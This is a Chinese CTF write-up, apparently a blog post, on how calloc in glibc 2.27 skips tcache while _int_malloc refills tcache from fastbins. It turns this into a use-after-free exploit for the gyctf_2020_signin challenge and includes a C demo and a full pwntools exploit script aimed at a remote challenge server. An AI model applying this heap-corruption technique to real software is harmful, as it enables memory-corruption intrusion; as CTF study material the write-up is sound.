calloc with tcache&&gyctf_2020_signin

今天做了一道题目,利用了glibc-2.27里面的一个新机制,感觉自己对于glibc-2.23和glibc-2.27的区别还不是很明确,那么我们来比对一下这两个版本的一些函数

一直有这样的一种思维嘛,对于glibc2.27来说,释放的内存会先进入tcache,如果大小合适会从tcache里面优先分配,我们来看看原因
在这里插入图片描述
上图是__libc_malloc里面的执行流程,可以看到,如果tcache中有合适的,那么就会直接从tcache里面get然后return,如果没有合适的才会调用_int_malloc

然后我们再去看看_int_malloc,其实大家可以理解为还是跟glibc2.23一样的_int_malloc,大小在fastbin从fastbin里面分割,在smallbin从smallbin里面分割,或者从unsorted bin,top chunk里面,如果进入到_int_malloc里面,就不会从tcache中分割
_int_malloc里面跟tcache有关的部分就是他会在分配堆之后再一定的情况下,把fastbin里面剩余的空闲的放到tcahce中,unsorted bin,small bin也有类似情况

可以这样说,glibc-2.27中优先使用tcache分配的机制完全是由__libc_malloc的那几行代码决定的,但是对于calloc来说他调用的不是__libc_malloc而是_int_malloc,所以它不会从tcache中分配
但正如我说的,tcache机制就是为了提升速度,所以_int_malloc里面就会出现很多tcache_put,可以这么说,只要你bin里面有空闲的,我tcache对应的也还能装,就会把这些bin挪到tcache中

具体怎么利用我们这里不讲特别多,我们只通过一个题来看看上述的机制

gyctf_2020_signin

gyctf_2020_signin
这个题目是个很好的题目,下面开始分析

分析

add函数

没什么洞,分配固定0x70大小,同时flag设为1
在这里插入图片描述

delete

虽然不能double free,但它终究还是没有清空指针,所以有uaf
在这里插入图片描述

edit

edit不会验证是否flag为1,直接写,但只能写一次,因为cnt=0
在这里插入图片描述

backdoor

只要ptr不是0就好,同时用了一个calloc
在这里插入图片描述

思路

这个题最开始很多思路,因为很明显的uaf,但最后都不成功,因为只能写1次
后来结合calloc和_int_malloc才知道大概利用方法

__libc_callo

在这里插入图片描述
bytes就是1*0x70
在这里插入图片描述
这一部分和__libc_malloc保持一致,但我们不会初始化tcache
在这里插入图片描述
我们可以再glibc-2.27中看到很多类似if(SINGLE_THREAD_p)之类的,就是区别单线程和多线程,没什么好说的
这里的一些操作我没太明白哈哈,不过影响不大
之后它直接调用了_int_malloc
在这里插入图片描述
注意,这就是malloc和calloc的最大区别,calloc不会从tcache中寻找合适的分配,只会从fast bin,small bin, unsorted bin来分配

_int_malloc

刚才我提到了这个函数里面会把bin搬到tcache
在这里插入图片描述
这里我们也看成是单线程,不然有些混乱
在这里插入图片描述
这里面就是,如果大小属于fast bin,那么找对应的idx,fb就是对应fastbiny的地址,最开始victim是里面空闲的堆地址
如果确实有空闲,fb就更改成下一个空闲的堆地址
然后这里会验证victim的大小是不是所需要的大小,这也是我们fastbin attack需要伪造的一点,当我们把fd劫持到malloc_hook之后,一定要去附近找大小比较匹配的,由于这里算法的问题它比较的idx,所以只要在0x0~0xf之间都可以
下面就是多了tcache之后的操作
在这里插入图片描述
首先找到对应的tcache的idx,这里由于是fastbin,所以在tcache的范围
然后就是一个while
同时也去掉里面的多线程
在这里插入图片描述
while做的就是,当我对应的fastbin里面还有空闲的块,并且tcache对应大小还可以保存,就会把fastbin通通移到tcache里面去
在这里插入图片描述
可以看到tcache_put它传进来的是chunk的地址,会先转化成mem,然后
在这里插入图片描述
对应的next保存为当前tcache最头上空闲堆的地址,其实e->next对应的就是p->fd,然后修改tcache当前最前面的空闲堆为e,数量++
在这里插入图片描述
最后跟glibc-2.23一样的操作,转换成mem,然后返回

回到题目

这个题目其实很简单,就是需要把ptr随便有值就好,那么结合这个题,应该怎么打呢
在这里插入图片描述
这个时候tcache有7个,fast bin有一个
在这里插入图片描述
这个时候add一个由于是malloc会优先从tcache中取
在这里插入图片描述
在这里插入图片描述
这个时候如果我们把fastbin的fd改成ptr地址,然后调用calloc,由于calloc原因它会从fastbin里面分配,同时把剩余的搬到tcache,由于要插入到tcache,这个时候fd就会被赋值,如果刚好fd对应的地址就是ptr,就可以直接get shell
在这里插入图片描述
这里因为tcahce_put传入的是chunk地址,所以我们要-0x10
在这里插入图片描述

这里我想调试清楚,但由于题目没有加lphtread,所以我编写了个类似的c代码

#include<malloc.h>
int main(){
    int a;
    for(int i=0;i<7;i++)
        malloc(0x18);
        void *p=malloc(0x18);
    for (int i=0;i<8;i++){
        free(p-0x20*(7-i));
    }
    malloc(0x18);
    *(size_t *)p=&a;
    calloc(1,0x18);
}

调用calloc之前
在这里插入图片描述
来到_int_malloc
在这里插入图片描述
在这里插入图片描述
fb就是fastbinY的地址,victim就是最外面这个free fastbin
在这里插入图片描述
因为我们要拿出来,所以也要调整当前fastbiny内的值

在这里插入图片描述
这里的空闲堆也就是我们修改的&a
在这里插入图片描述
开始进行迁移
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
fastbinsY更新
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
可以看到e保存的值被修改了
在这里插入图片描述
所以这道题目也就是这样
最后exp

#!/usr/bin/python3
#  -*- coding: utf-8 -*-
# from LibcSearcher import LibcSearcheronline
from pwn import *


it = lambda: io.interactive()
ru = lambda x: io.recvuntil(x)
rud = lambda x: io.recvuntil(x, drop=True)
r = lambda x: io.recv(x)
rl = lambda: io.recvline()
rld = lambda: io.recvline(keepends=False)
s = lambda x: io.send(x)
sa = lambda x, y: io.sendafter(x, y)
sl = lambda x: io.sendline(x)
sla = lambda x, y: io.sendlineafter(x, y)


elf_path = "./gyctf_2020_signin"
elf = ELF(elf_path)
context(arch=elf.arch, log_level="debug")
libc = elf.libc

if "2.23" in libc.path:
    one_gadget = [0x45216, 0x4526A, 0xF02A4, 0xF1147]
elif "2.27" in libc.path:
    one_gadget = [0x4F2C5, 0x4F322, 0x10A38C]
else:
    one_gadget = []


if len(sys.argv) > 1:
    remote_ip = "node4.buuoj.cn"
    remote_port = 25674
    io = remote(remote_ip, remote_port)
else:
    io = process(elf_path)




def add(size: int):
    sla(b"your choice?", b"1")
    sla(b"idx?\n", str(size).encode())




def edit(index: int, content: bytes):
    sla(b"your choice?", b"2")
    sla(b"idx?\n", str(index).encode())
    sl(content)


def backdoor():
    sla(b"your choice?", b"6")


def free(index: int):
    sla(b"your choice?", b"3")
    sla(b"idx?\n", str(index).encode())


for i in range(8):
    add(i)
for i in range(8):
    free(i)
add(8)
edit(7, p64(0x4040C0 - 0x10))
backdoor()
it()

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值